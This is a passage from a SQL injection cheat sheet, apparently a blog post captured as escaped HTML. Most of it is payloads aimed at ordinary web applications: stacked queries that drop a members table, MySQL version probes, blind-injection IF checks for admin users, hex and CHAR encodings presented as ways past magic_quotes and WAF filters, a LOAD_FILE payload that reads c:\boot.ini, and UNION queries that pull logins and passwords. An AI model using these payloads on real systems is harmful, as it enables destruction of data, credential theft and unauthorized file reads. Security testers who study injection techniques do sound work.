style="font-size: 10pt;"&gt;32302&lt;/span&gt;&lt;/b&gt;&lt;span class="hi"&gt;&lt;span style="font-size: 10pt;"&gt; 1/0, */&lt;/span&gt;&lt;/span&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt; 1 FROM tablename&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h5&gt;&lt;a href="http://www.blogger.com/post-create.do" name="InlineSamples"&gt;&lt;/a&gt;Classical Inline Comment &lt;span class="hilite"&gt;SQL&lt;/span&gt; &lt;span class="hilite"&gt;Injection&lt;/span&gt; Attack Samples &lt;/h5&gt;&lt;ul type="disc"&gt;&lt;li class="MsoNormal" style="margin-bottom: 12pt;"&gt;&lt;span class="inputfield"&gt;ID:&lt;/span&gt;      &lt;code&gt;&lt;span style="font-size: 10pt;"&gt;10; DROP TABLE members &lt;/span&gt;&lt;/code&gt;&lt;span class="hi"&gt;&lt;span style="font-size: 10pt;"&gt;/*&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="idea1"&gt;Simply get rid of other stuff at the end the of query.      Same as &lt;/span&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;10; DROP TABLE members      &lt;/span&gt;&lt;/code&gt;&lt;span class="hi"&gt;&lt;span style="font-size: 10pt;"&gt;--&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li class="MsoNormal"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;SELECT &lt;/span&gt;&lt;/code&gt;&lt;span class="hi"&gt;&lt;span style="font-size: 10pt;"&gt;/*!&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style="font-size: 10pt;"&gt;32302&lt;/span&gt;&lt;/b&gt;&lt;span class="hi"&gt;&lt;span style="font-size: 10pt;"&gt; 1/0, */&lt;/span&gt;&lt;/span&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt; 1 FROM tablename&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;&lt;span class="idea1"&gt;Will throw an &lt;/span&gt;&lt;b&gt;divison by 0 error &lt;/b&gt;&lt;span class="idea1"&gt;if &lt;/span&gt;&lt;span class="hilite"&gt;MySQL&lt;/span&gt;&lt;span class="idea1"&gt;      version is higher than &lt;/span&gt;&lt;b&gt;3.23.02&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h5&gt;&lt;a href="http://www.blogger.com/post-create.do" name="MySQLInlineSamples"&gt;&lt;/a&gt;&lt;span class="hilite"&gt;MySQL&lt;/span&gt; Version Detection Sample Attacks&lt;/h5&gt;&lt;ul type="disc"&gt;&lt;li class="MsoNormal"&gt;&lt;span class="inputfield"&gt;ID:&lt;/span&gt;      &lt;code&gt;&lt;span style="font-size: 10pt;"&gt;/*!&lt;/span&gt;&lt;/code&gt;&lt;b&gt;&lt;span style="font-size: 10pt;"&gt;32302&lt;/span&gt;&lt;/b&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt; 10&lt;/span&gt;&lt;/code&gt;&lt;span class="hi"&gt;&lt;span style="font-size: 10pt;"&gt;*/&lt;/span&gt;&lt;/span&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;li class="MsoNormal" style="margin-bottom: 12pt;"&gt;&lt;span class="inputfield"&gt;ID:&lt;/span&gt;      &lt;code&gt;&lt;span style="font-size: 10pt;"&gt;10&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;&lt;span class="idea1"&gt;You will get the &lt;/span&gt;&lt;b&gt;same response&lt;/b&gt;&lt;span class="idea1"&gt; if &lt;/span&gt;&lt;span class="hilite"&gt;MySQL&lt;/span&gt;&lt;span class="idea1"&gt;      version is higher than &lt;/span&gt;&lt;b&gt;3.23.02&lt;/b&gt;&lt;/li&gt;&lt;li class="MsoNormal"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;SELECT &lt;/span&gt;&lt;/code&gt;&lt;span class="hi"&gt;&lt;span style="font-size: 10pt;"&gt;/*!&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style="font-size: 10pt;"&gt;32302&lt;/span&gt;&lt;/b&gt;&lt;span class="hi"&gt;&lt;span style="font-size: 10pt;"&gt; 1/0, */&lt;/span&gt;&lt;/span&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt; 1 FROM tablename&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;&lt;span class="idea1"&gt;Will throw an &lt;/span&gt;&lt;b&gt;divison by 0 error &lt;/b&gt;&lt;span class="idea1"&gt;if &lt;/span&gt;&lt;span class="hilite"&gt;MySQL&lt;/span&gt;&lt;span class="idea1"&gt;      version is higher than &lt;/span&gt;&lt;b&gt;3.23.02&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;a href="http://www.blogger.com/post-create.do" name="StackingQueries"&gt;&lt;/a&gt;Stacking Queries &lt;/h3&gt;&lt;div class="idea"&gt;&lt;b&gt;Executing more than one query in one transaction&lt;/b&gt;. This is very useful in every &lt;span class="hilite"&gt;injection&lt;/span&gt; point, especially in &lt;span class="hilite"&gt;SQL&lt;/span&gt; Server back ended applications. &lt;/div&gt;&lt;ul type="disc"&gt;&lt;li class="MsoNormal"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;;&lt;/span&gt;&lt;/code&gt; (S)&lt;br /&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;SELECT * FROM members&lt;/span&gt;&lt;/code&gt;&lt;span class="hi"&gt;&lt;span style="font-size: 10pt;"&gt;; DROP      members--&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="idea"&gt;Ends a query and starts a new one.&lt;/div&gt;&lt;h4&gt;&lt;a href="http://www.blogger.com/post-create.do" name="LangDbFigure"&gt;&lt;/a&gt;Language / Database Stacked Query Support Table &lt;/h4&gt;&lt;div class="idea"&gt;&lt;b&gt;green:&lt;/b&gt; supported, &lt;b&gt;dark gray:&lt;/b&gt; not supported, &lt;b&gt;light gray: &lt;/b&gt;unknown &lt;/div&gt;&lt;table border="0" cellpadding="0" cellspacing="1" class="MsoNormalTable" style="background: none repeat scroll 0% 0% rgb(204, 204, 204);"&gt;&lt;tbody&gt;&lt;tr&gt;   &lt;td style="background: none repeat scroll 0% 0% rgb(247, 247, 247); padding: 3.75pt;"&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="background: none repeat scroll 0% 0% white; padding: 3.75pt;"&gt;&lt;div class="MsoNormal"&gt;&lt;span class="hilite"&gt;&lt;b&gt;SQL&lt;/b&gt;&lt;/span&gt;&lt;b&gt; Server &lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="background: none repeat scroll 0% 0% white; padding: 3.75pt;"&gt;&lt;div class="MsoNormal"&gt;&lt;span class="hilite"&gt;&lt;b&gt;MySQL&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="background: none repeat scroll 0% 0% white; padding: 3.75pt;"&gt;&lt;div class="MsoNormal"&gt;&lt;span class="hilite"&gt;&lt;b&gt;PostgreSQL&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="background: none repeat scroll 0% 0% white; padding: 3.75pt;"&gt;&lt;div class="MsoNormal"&gt;&lt;b&gt;ORACLE&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="background: none repeat scroll 0% 0% white; padding: 3.75pt;"&gt;&lt;div class="MsoNormal"&gt;&lt;b&gt;MS Access &lt;/b&gt;&lt;/div&gt;&lt;/td&gt;  &lt;/tr&gt;&lt;tr&gt;   &lt;td style="background: none repeat scroll 0% 0% white; padding: 3.75pt;"&gt;&lt;div class="MsoNormal"&gt;&lt;b&gt;ASP&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="background: none repeat scroll 0% 0% rgb(153, 204, 0); padding: 3.75pt;"&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="background: none repeat scroll 0% 0% rgb(247, 247, 247); padding: 3.75pt;"&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="background: none repeat scroll 0% 0% rgb(247, 247, 247); padding: 3.75pt;"&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="background: none repeat scroll 0% 0% rgb(247, 247, 247); padding: 3.75pt;"&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="background: none repeat scroll 0% 0% rgb(51, 51, 51); padding: 3.75pt;"&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;  &lt;/tr&gt;&lt;tr&gt;   &lt;td style="background: none repeat scroll 0% 0% white; padding: 3.75pt;"&gt;&lt;div class="MsoNormal"&gt;&lt;b&gt;ASP.NET&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="background: none repeat scroll 0% 0% rgb(153, 204, 0); padding: 3.75pt;"&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="background: none repeat scroll 0% 0% rgb(247, 247, 247); padding: 3.75pt;"&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="background: none repeat scroll 0% 0% rgb(247, 247, 247); padding: 3.75pt;"&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="background: none repeat scroll 0% 0% rgb(247, 247, 247); padding: 3.75pt;"&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="background: none repeat scroll 0% 0% rgb(51, 51, 51); padding: 3.75pt;"&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;  &lt;/tr&gt;&lt;tr&gt;   &lt;td style="background: none repeat scroll 0% 0% white; padding: 3.75pt;"&gt;&lt;div class="MsoNormal"&gt;&lt;b&gt;PHP&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="background: none repeat scroll 0% 0% rgb(153, 204, 0); padding: 3.75pt;"&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="background: none repeat scroll 0% 0% rgb(51, 51, 51); padding: 3.75pt;"&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="background: none repeat scroll 0% 0% rgb(153, 204, 0); padding: 3.75pt;"&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="background: none repeat scroll 0% 0% rgb(247, 247, 247); padding: 3.75pt;"&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="background: none repeat scroll 0% 0% rgb(51, 51, 51); padding: 3.75pt;"&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;  &lt;/tr&gt;&lt;tr&gt;   &lt;td style="background: none repeat scroll 0% 0% white; padding: 3.75pt;"&gt;&lt;div class="MsoNormal"&gt;&lt;b&gt;Java&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="background: none repeat scroll 0% 0% rgb(247, 247, 247); padding: 3.75pt;"&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="background: none repeat scroll 0% 0% rgb(247, 247, 247); padding: 3.75pt;"&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="background: none repeat scroll 0% 0% rgb(247, 247, 247); padding: 3.75pt;"&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="background: none repeat scroll 0% 0% rgb(51, 51, 51); padding: 3.75pt;"&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="background: none repeat scroll 0% 0% rgb(51, 51, 51); padding: 3.75pt;"&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;  &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class="idea"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="idea"&gt;&lt;a href="http://www.blogger.com/post-create.do" name="AboutMySQLandPHP"&gt;&lt;/a&gt;&lt;b&gt;About &lt;/b&gt;&lt;span class="hilite"&gt;&lt;b&gt;MySQL&lt;/b&gt;&lt;/span&gt;&lt;b&gt; and PHP;&lt;/b&gt;&lt;br /&gt;To clarify some issues;&lt;br /&gt;&lt;b&gt;PHP - &lt;/b&gt;&lt;span class="hilite"&gt;&lt;b&gt;MySQL&lt;/b&gt;&lt;/span&gt;&lt;b&gt; doesn't support stacked queries&lt;/b&gt;, Java doesn't support stacked queries (&lt;i&gt;I'm sure for ORACLE, not quite sure about other databases&lt;/i&gt;). &lt;i&gt;Normally &lt;/i&gt;&lt;span class="hilite"&gt;&lt;i&gt;MySQL&lt;/i&gt;&lt;/span&gt;&lt;i&gt; supports stacked queries but because of database layer in most of the configurations it’s not possible to execute second query in PHP-&lt;/i&gt;&lt;span class="hilite"&gt;&lt;i&gt;MySQL&lt;/i&gt;&lt;/span&gt;&lt;i&gt; applications or maybe &lt;/i&gt;&lt;span class="hilite"&gt;&lt;i&gt;MySQL&lt;/i&gt;&lt;/span&gt;&lt;i&gt; client supports this, not quite sure. Can someone clarify?&lt;/i&gt;&lt;/div&gt;&lt;h5&gt;&lt;a href="http://www.blogger.com/post-create.do" name="StackedSamples"&gt;&lt;/a&gt;Stacked &lt;span class="hilite"&gt;SQL&lt;/span&gt; &lt;span class="hilite"&gt;Injection&lt;/span&gt; Attack Samples &lt;/h5&gt;&lt;ul type="disc"&gt;&lt;li class="MsoNormal"&gt;&lt;span class="inputfield"&gt;ID:&lt;/span&gt;      &lt;code&gt;&lt;span style="font-size: 10pt;"&gt;10;DROP members --&lt;/span&gt;&lt;/code&gt; &lt;/li&gt;&lt;li class="MsoNormal"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;SELECT * FROM products WHERE id = 10&lt;/span&gt;&lt;/code&gt;&lt;span class="hi"&gt;&lt;span style="font-size: 10pt;"&gt;; DROP members--&lt;/span&gt;&lt;/span&gt;      &lt;/li&gt;&lt;/ul&gt;&lt;div class="idea"&gt;This will run &lt;i&gt;DROP members&lt;/i&gt; &lt;span class="hilite"&gt;SQL&lt;/span&gt; sentence after normal &lt;span class="hilite"&gt;SQL&lt;/span&gt; Query.&lt;/div&gt;&lt;h3&gt;&lt;a href="http://www.blogger.com/post-create.do" name="IfStatements"&gt;&lt;/a&gt;If Statements &lt;/h3&gt;&lt;div class="idea"&gt;Get response based on a if statement. This is &lt;b&gt;one of the key points of Blind &lt;/b&gt;&lt;span class="hilite"&gt;&lt;b&gt;SQL&lt;/b&gt;&lt;/span&gt;&lt;b&gt; &lt;/b&gt;&lt;span class="hilite"&gt;&lt;b&gt;Injection&lt;/b&gt;&lt;/span&gt;, also can be very useful to test simple stuff blindly and &lt;b&gt;accurately&lt;/b&gt;.&lt;/div&gt;&lt;h4&gt;&lt;a href="http://www.blogger.com/post-create.do" name="MySQLIf"&gt;&lt;/a&gt;&lt;span class="hilite"&gt;MySQL&lt;/span&gt; If Statement&lt;/h4&gt;&lt;ul type="disc"&gt;&lt;li class="MsoNormal"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;IF(&lt;/span&gt;&lt;/code&gt;&lt;i&gt;&lt;b&gt;&lt;span style="font-size: 10pt;"&gt;condition&lt;/span&gt;&lt;/b&gt;&lt;/i&gt;&lt;b&gt;&lt;span style="font-size: 10pt;"&gt;,&lt;/span&gt;&lt;/b&gt;&lt;i&gt;&lt;b&gt;&lt;span style="font-size: 10pt;"&gt;true-part&lt;/span&gt;&lt;/b&gt;&lt;/i&gt;&lt;b&gt;&lt;span style="font-size: 10pt;"&gt;,&lt;/span&gt;&lt;/b&gt;&lt;i&gt;&lt;b&gt;&lt;span style="font-size: 10pt;"&gt;false-part&lt;/span&gt;&lt;/b&gt;&lt;/i&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;) &lt;/span&gt;&lt;/code&gt;(M)&lt;span style="font-size: 10pt;"&gt;&lt;br /&gt;&lt;code&gt;SELECT IF(1=1,'true','false')&lt;/code&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h4&gt;&lt;a href="http://www.blogger.com/post-create.do" name="SQLServerIf"&gt;&lt;/a&gt;&lt;span class="hilite"&gt;SQL&lt;/span&gt; Server If Statement &lt;/h4&gt;&lt;ul type="disc"&gt;&lt;li class="MsoNormal"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;IF &lt;/span&gt;&lt;/code&gt;&lt;i&gt;&lt;b&gt;&lt;span style="font-size: 10pt;"&gt;condition&lt;/span&gt;&lt;/b&gt;&lt;/i&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/code&gt;&lt;i&gt;&lt;b&gt;&lt;span style="font-size: 10pt;"&gt;true-part&lt;/span&gt;&lt;/b&gt;&lt;/i&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt; ELSE &lt;/span&gt;&lt;/code&gt;&lt;i&gt;&lt;b&gt;&lt;span style="font-size: 10pt;"&gt;false-part&lt;/span&gt;&lt;/b&gt;&lt;/i&gt;      (S)&lt;br /&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;IF (1=1) SELECT 'true' ELSE SELECT      'false'&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h5&gt;&lt;a href="http://www.blogger.com/post-create.do" name="SampleIfStatements"&gt;&lt;/a&gt;If Statement &lt;span class="hilite"&gt;SQL&lt;/span&gt; &lt;span class="hilite"&gt;Injection&lt;/span&gt; Attack Samples &lt;/h5&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0&lt;/span&gt;&lt;/code&gt; (S)&lt;br /&gt;&lt;span class="idea1"&gt;This will throw an &lt;/span&gt;&lt;b&gt;divide by zero error&lt;/b&gt;&lt;span class="idea1"&gt; if current logged user is not &lt;/span&gt;&lt;b&gt;"sa" or "dbo"&lt;/b&gt;&lt;span class="idea1"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;h3&gt;&lt;a href="http://www.blogger.com/post-create.do" name="UsingIntegers"&gt;&lt;/a&gt;Using Integers &lt;/h3&gt;&lt;div class="idea"&gt;Very useful for bypassing, &lt;b&gt;magic_quotes() and similar filters&lt;/b&gt;, or even WAFs. &lt;/div&gt;&lt;ul type="disc"&gt;&lt;li class="MsoNormal"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;0x&lt;/span&gt;&lt;/code&gt;&lt;i&gt;&lt;span style="font-size: 10pt;"&gt;HEXNUMBER&lt;/span&gt;&lt;/i&gt; (SM)&lt;br /&gt;&lt;span class="idea1"&gt;You can &amp;nbsp;write hex like these;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;SELECT CHAR(0x66)&lt;/span&gt;&lt;/code&gt; (S)&lt;br /&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;SELECT 0x5045&lt;/span&gt;&lt;/code&gt; &lt;span class="idea1"&gt;(&lt;/span&gt;&lt;i&gt;this is not an integer it will be a string from      Hex&lt;/i&gt;&lt;span class="idea1"&gt;)&lt;/span&gt; (M)&lt;br /&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;SELECT 0x50 + 0x45&lt;/span&gt;&lt;/code&gt; &lt;span class="idea1"&gt;(&lt;/span&gt;&lt;i&gt;this is integer now!&lt;/i&gt;&lt;span class="idea1"&gt;)&lt;/span&gt;      (M)&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;a href="http://www.blogger.com/post-create.do" name="StringOperations"&gt;&lt;/a&gt;String &amp;nbsp;Operations &lt;/h3&gt;&lt;div class="idea"&gt;String related operations. These can be quite useful to build up &lt;span class="hilite"&gt;injections&lt;/span&gt; which are not using any quotes, bypass any other black listing or determine back end database.&lt;/div&gt;&lt;h4&gt;&lt;a href="http://www.blogger.com/post-create.do" name="StringConcat"&gt;&lt;/a&gt;String Concatenation &lt;/h4&gt;&lt;ul type="disc"&gt;&lt;li class="MsoNormal" style="margin-bottom: 12pt;"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;+&lt;/span&gt;&lt;/code&gt; (S)&lt;br /&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;SELECT login &lt;/span&gt;&lt;/code&gt;&lt;span class="hi"&gt;&lt;span style="font-size: 10pt;"&gt;+ '-' +&lt;/span&gt;&lt;/span&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt; password FROM members&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;li class="MsoNormal"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;||&lt;/span&gt;&lt;/code&gt; (*MO)&lt;br /&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;SELECT login &lt;/span&gt;&lt;/code&gt;&lt;span class="hi"&gt;&lt;span style="font-size: 10pt;"&gt;|| '-'      ||&lt;/span&gt;&lt;/span&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt; password FROM      members &lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="idea"&gt;&lt;b&gt;*About &lt;/b&gt;&lt;span class="hilite"&gt;&lt;b&gt;MySQL&lt;/b&gt;&lt;/span&gt;&lt;b&gt; "||";&lt;/b&gt;&lt;br /&gt;If &lt;span class="hilite"&gt;MySQL&lt;/span&gt; is running in ANSI mode it’s going to work but otherwise &lt;span class="hilite"&gt;MySQL&lt;/span&gt; accept it as `logical operator` it’ll return 0. Better way to do it is using &lt;code&gt;&lt;span style="font-size: 10pt;"&gt;CONCAT()&lt;/span&gt;&lt;/code&gt; function in &lt;span class="hilite"&gt;MySQL&lt;/span&gt;.&lt;/div&gt;&lt;ul type="disc"&gt;&lt;li class="MsoNormal"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;CONCAT(str1, str2, str3, ...)&lt;/span&gt;&lt;/code&gt; (M)&lt;br /&gt;&lt;span class="idea1"&gt;Concatenate supplied strings.&lt;/span&gt; &lt;br /&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;SELECT &lt;/span&gt;&lt;/code&gt;&lt;span class="hi"&gt;&lt;span style="font-size: 10pt;"&gt;CONCAT(login, password)&lt;/span&gt;&lt;/span&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt; FROM members&lt;/span&gt;&lt;/code&gt; &lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;a href="http://www.blogger.com/post-create.do" name="StringwithoutQuotes"&gt;&lt;/a&gt;Strings without Quotes &lt;/h3&gt;&lt;div class="idea"&gt;These are some direct ways to using strings but it’s always possible to use &lt;code&gt;&lt;span style="font-size: 10pt;"&gt;CHAR()&lt;/span&gt;&lt;/code&gt;(MS) and &lt;code&gt;&lt;span style="font-size: 10pt;"&gt;CONCAT()&lt;/span&gt;&lt;/code&gt;(M) to generate string without quotes.&lt;/div&gt;&lt;ul type="disc"&gt;&lt;li class="MsoNormal" style="margin-bottom: 12pt;"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;0x457578&lt;/span&gt;&lt;/code&gt; (M) - &lt;span class="idea1"&gt;Hex      Representation of string &lt;/span&gt;&lt;br /&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;SELECT 0x457578&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;&lt;span class="idea1"&gt;This will be selected as string in &lt;/span&gt;&lt;span class="hilite"&gt;MySQL&lt;/span&gt;&lt;span class="idea1"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="idea1"&gt;In &lt;/span&gt;&lt;span class="hilite"&gt;MySQL&lt;/span&gt;&lt;span class="idea1"&gt; easy way to generate hex representations of strings use this;&lt;/span&gt;&lt;br /&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;SELECT      CONCAT('0x',HEX('c:\\boot.ini'))&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;li class="MsoNormal" style="margin-bottom: 12pt;"&gt;&lt;span class="idea1"&gt;Using &lt;/span&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;CONCAT()&lt;/span&gt;&lt;/code&gt;&lt;span class="idea1"&gt; in &lt;/span&gt;&lt;span class="hilite"&gt;MySQL&lt;/span&gt;&lt;br /&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;SELECT      CONCAT(CHAR(75),CHAR(76),CHAR(77))&lt;/span&gt;&lt;/code&gt; (M)&lt;br /&gt;&lt;span class="idea1"&gt;This will return ‘KLM’.&lt;/span&gt;&lt;/li&gt;&lt;li class="MsoNormal"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;SELECT CHAR(75)+CHAR(76)+CHAR(77)&lt;/span&gt;&lt;/code&gt;      (S)&lt;br /&gt;&lt;span class="idea1"&gt;This will return ‘KLM’. &lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h4&gt;&lt;a href="http://www.blogger.com/post-create.do" name="HexbasedSamples"&gt;&lt;/a&gt;Hex based &lt;span class="hilite"&gt;SQL&lt;/span&gt; &lt;span class="hilite"&gt;Injection&lt;/span&gt; Samples&lt;/h4&gt;&lt;ul type="disc"&gt;&lt;li class="MsoNormal"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;SELECT LOAD_FILE(&lt;/span&gt;&lt;/code&gt;&lt;span class="hi"&gt;&lt;span style="font-size: 10pt;"&gt;0x633A5C626F6F742E696E69&lt;/span&gt;&lt;/span&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;)&lt;/span&gt;&lt;/code&gt; (M) &lt;br /&gt;&lt;span class="idea1"&gt;This will show the content of &lt;/span&gt;&lt;b&gt;c:\boot.ini&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;a href="http://www.blogger.com/post-create.do" name="StringModification"&gt;&lt;/a&gt;String Modification &amp;amp; Related &lt;/h3&gt;&lt;ul type="disc"&gt;&lt;li class="MsoNormal" style="margin-bottom: 12pt;"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;ASCII()&lt;/span&gt;&lt;/code&gt; (SMP) &lt;br /&gt;&lt;span class="idea1"&gt;Returns ASCII character value of leftmost character. A      must have function for Blind &lt;/span&gt;&lt;span class="hilite"&gt;SQL&lt;/span&gt;&lt;span class="idea1"&gt; &lt;/span&gt;&lt;span class="hilite"&gt;Injections&lt;/span&gt;&lt;span class="idea1"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;SELECT ASCII('a')&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;li class="MsoNormal"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;CHAR()&lt;/span&gt;&lt;/code&gt; (SM) &lt;br /&gt;&lt;span class="idea1"&gt;Convert an integer of ASCII.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;SELECT CHAR(64)&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;&lt;a href="http://www.blogger.com/post-create.do" name="UnionInjections"&gt;&lt;/a&gt;Union &lt;span class="hilite"&gt;Injections&lt;/span&gt;&lt;/h2&gt;&lt;div class="idea"&gt;With union you do &lt;span class="hilite"&gt;SQL&lt;/span&gt; queries cross-table. Basically you can poison query to return records from another table. &lt;/div&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members &lt;/span&gt;&lt;/code&gt;&lt;br /&gt;&lt;span class="idea1"&gt;This will combine results from both news table and members table and return all of them. &lt;/span&gt;&lt;br /&gt;&lt;span class="idea1"&gt;Another Example : &lt;/span&gt;&lt;br /&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;&lt;h3&gt;&lt;a href="http://www.blogger.com/post-create.do" name="UnionLanguageIssues"&gt;UNION – Fixing Language Issues&lt;/a&gt;&lt;/h3&gt;&lt;div class="idea"&gt;While exploiting Union &lt;span class="hilite"&gt;injections&lt;/span&gt; sometimes you get errors because of different language settings (&lt;i&gt;table settings, field settings, combined table / db settings etc.&lt;/i&gt;) these functions are quite useful to fix this problem. It's rare but if you dealing with &lt;i&gt;Japanese, Russian, Turkish&lt;/i&gt; etc. applications then you will see it. &lt;/div&gt;&lt;ul type="disc"&gt;&lt;li class="MsoNormal" style="margin-bottom: 12pt;"&gt;&lt;span class="hilite"&gt;SQL&lt;/span&gt; Server (S) &lt;br /&gt;Use &lt;code&gt;&lt;span style="font-size: 